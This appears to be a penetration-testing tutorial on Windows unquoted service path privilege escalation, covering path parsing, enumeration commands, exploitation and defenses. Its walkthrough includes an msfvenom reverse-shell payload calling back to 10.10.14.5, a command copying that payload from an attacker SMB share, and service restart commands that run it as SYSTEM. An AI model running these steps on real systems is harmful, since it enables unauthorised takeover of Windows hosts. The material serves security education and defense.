Unquoted Service Path Exploitation on Windows

Unquoted Service Path Exploitation on Windows - article cover image Windows Privesc
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

When the Service Control Manager starts a Windows service, it calls CreateProcess with the exact string stored in that service’s ImagePath registry value. If that string contains a space and is not wrapped in quotation marks, Windows does not treat it as one atomic path — it treats every space as a *potential* argument boundary and tries each space-delimited prefix, in order, appending .exe, until one resolves to a real file. Unquoted service path exploitation plants a malicious executable at one of those earlier, shorter candidate paths so it launches instead of (or before) the intended binary — with whatever privileges the service account holds.

This is one of the oldest and most mechanical Windows privilege escalation techniques, and it persists because it requires nothing more exotic than a directory name containing a space (Program Files, Common Files, any vendor-named subfolder) combined with an installer that never bothered to quote the path it registered. It remains a near-universal entry on OSCP-style privilege-escalation checklists and automated enumeration scripts (WinPEAS, PowerUp, Seatbelt) precisely because it costs nothing to check and, when present against a SYSTEM service, converts directly into a SYSTEM shell.

Attack Prerequisites

The bug requires a narrow but common combination of path structure and filesystem permissions:

  • A service ImagePath containing at least one unescaped space and no surrounding double quotes, e.g. C:\Program Files\Sub Dir\service.exe rather than "C:\Program Files\Sub Dir\service.exe".
  • Write access to one of the earlier candidate directories Windows will probe before reaching the real binary — most commonly C:\ itself (to drop C:\Program.exe) or an intermediate folder like C:\Program Files\Sub if its ACL was loosened by an installer.
  • A restart trigger — rights to stop/start the service, an auto-restart-on-crash policy, or a reboot — so the SCM re-invokes CreateProcess against the planted path.
  • The service runs as a privileged account (LocalSystem or another high-privilege service account) for the technique to yield meaningful escalation.

How It Works

CreateProcess‘s documented behavior for an unquoted command line containing spaces is to disambiguate by trying successively longer prefixes as the executable name, treating the remainder as arguments, until a match is found on disk. For C:\Program Files\Sub Dir\Common Files\service.exe with no quotes, Windows attempts, strictly in this order: C:\Program.exe, then C:\Program Files\Sub.exe, then C:\Program Files\Sub Dir\Common.exe, then C:\Program Files\Sub Dir\Common Files\service.exe (the intended target, and the only one that actually exists in a stock install). The first candidate that resolves to a real executable wins — the search stops there, and it does not matter that a ‘real’ binary exists further down the chain.

The reason this is exploitable at all despite C:\ and C:\Program Files being protected by default is that neither the service’s ImagePath nor Windows itself guarantees every intermediate directory in the resolved chain stays locked down — third-party installers routinely create their own subdirectories with looser inherited ACLs than the parent, and on older or misconfigured systems C:\ itself has occasionally been left writable by Authenticated Users. Any single writable link in that chain is sufficient, because CreateProcess will happily launch whatever file it finds at the first matching prefix, with zero signature or origin validation.

Quoting the entire path ("C:\Program Files\Sub Dir\service.exe") removes the ambiguity entirely — a quoted string is treated as a single atomic token, so CreateProcess never considers the intermediate prefixes at all. The vulnerability is therefore purely a matter of whether the party that registered the service (usually an MSI or InstallShield-generated installer) wrapped the ImagePath value in quotes.

Vulnerable Code / Configuration

sc qc shows the exact registered path — compare the vulnerable and fixed forms directly:

C:\> sc qc VendorUpdateSvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: VendorUpdateSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        BINARY_PATH_NAME   : C:\Program Files\Vendor App\Update Service\svc.exe
        SERVICE_START_NAME : LocalSystem
# VULNERABLE: unquoted, multiple embedded spaces.
# Windows will try, in order:
#   C:\Program.exe
#   C:\Program Files\Vendor.exe
#   C:\Program Files\Vendor App\Update.exe
#   C:\Program Files\Vendor App\Update Service\svc.exe   <- intended

# SAFE equivalent -- no ambiguity, no prefix search:
#   BINARY_PATH_NAME : "C:\Program Files\Vendor App\Update Service\svc.exe"
TEXT

Confirm which of the candidate directories is actually writable before planting anything — this is what turns the parsing quirk into a real vulnerability:

C:\> icacls "C:\Program Files\Vendor App"
C:\Program Files\Vendor App BUILTIN\Users:(OI)(CI)(M)
                             NT AUTHORITY\SYSTEM:(OI)(CI)(F)
# BUILTIN\Users has (M)odify on "C:\Program Files\Vendor App" ->
# any user can write C:\Program Files\Vendor.exe.
TEXT

Walkthrough / Exploitation

Enumerate every auto-start service and filter for unquoted paths containing a space outside of C:\Windows (System32 paths are essentially always safe by default):

Get-CimInstance win32_service | Where-Object {
  $_.PathName -notmatch '^"' -and $_.PathName -match '.* .*'
} | Select-Object Name, StartMode, PathName, StartName
PowerShell
C:\> wmic service get name,displayname,pathname,startmode |
      findstr /i /v """" | findstr /i /v "C:\Windows\\"
TEXT

For each candidate, check write access on every prefix directory with icacls, then drop a malicious Program.exe (or the matching candidate name) that gives a shell or adds an admin user:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 \
  -f exe -o Vendor.exe
Bash
C:\> copy \\10.10.14.5\share\Vendor.exe "C:\Program Files\Vendor.exe"
C:\> sc stop VendorUpdateSvc
C:\> sc start VendorUpdateSvc
# SCM resolves the unquoted ImagePath, matches C:\Program Files\Vendor.exe
# before ever reaching the real svc.exe, and launches it as LocalSystem.
TEXT

If the current account cannot stop/start the service directly, the same planted binary fires on the next scheduled maintenance window or system reboot for auto-start services — no interaction with the SCM is required once the file is in place. PowerUp and WinPEAS both automate the discovery step end-to-end:

Import-Module .\PowerUp.ps1
Get-ServiceUnquoted -Verbose
PowerShell

Note: Only the *first* space-delimited prefix that resolves to an existing file matters — if an unrelated but legitimate C:\Program.exe already exists on the box (rare, but seen on some legacy installs), the service will silently launch that instead of the intended target even without any attacker involvement, which is a useful clue during enumeration that a path is unquoted and live.

Opsec: Stopping and restarting a production service is disruptive and will be visible in Event ID 7036 (service state change); where the engagement allows it, prefer waiting for a scheduled reboot or an existing crash-recovery cycle over forcing a restart, and always remove the planted binary and restore the directory ACL afterward.

Detection and Defense

This bug class is closed by fixing exactly one thing per affected service — quoting — but defenders should verify both the registration and the surrounding ACLs:

  • Quote every ImagePath containing a space: sc config VendorUpdateSvc binPath= "\"C:\Program Files\Vendor App\Update Service\svc.exe\"" — this alone removes the ambiguity regardless of directory ACLs.
  • Audit installers — this is almost always introduced by third-party MSI/InstallShield packages; vendor patches or reinstallation with corrected registration are the durable fix.
  • Restrict write access on C:\ and C:\Program Files to Administrators/SYSTEM (the Windows default) and verify no installer loosened an intermediate subdirectory’s inherited ACL.
  • Event ID 7045 (new service installed) and Event ID 7036 (service state change) around an unexpected binary path are useful correlation points.
  • Sysmon Event ID 1 flagging C:\Program.exe or any process created from a bare drive-root or intermediate directory is a very high-fidelity indicator, since legitimate software essentially never lives there.

Real-World Impact

Unquoted service paths are a perennial finding in internal penetration tests and are explicitly called out in Microsoft’s own secure-coding guidance for CreateProcess. Because the bug is introduced at packaging time rather than at the OS level, it recurs across unrelated products whose installers were built with older or careless tooling, which is why automated privilege-escalation enumeration scripts (WinPEAS, PowerUp, Seatbelt) all ship a dedicated unquoted-path check by default.

Conclusion

Unquoted service paths turn a missing pair of quotation marks into a direct route to SYSTEM whenever an earlier segment of the resolved path is writable. The fix is a one-line registration change, but it has to be applied per service and per installer, which is why the bug keeps reappearing across otherwise well-patched estates — routine enumeration of every ImagePath on the fleet, not a one-time sweep, is what actually keeps this closed.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL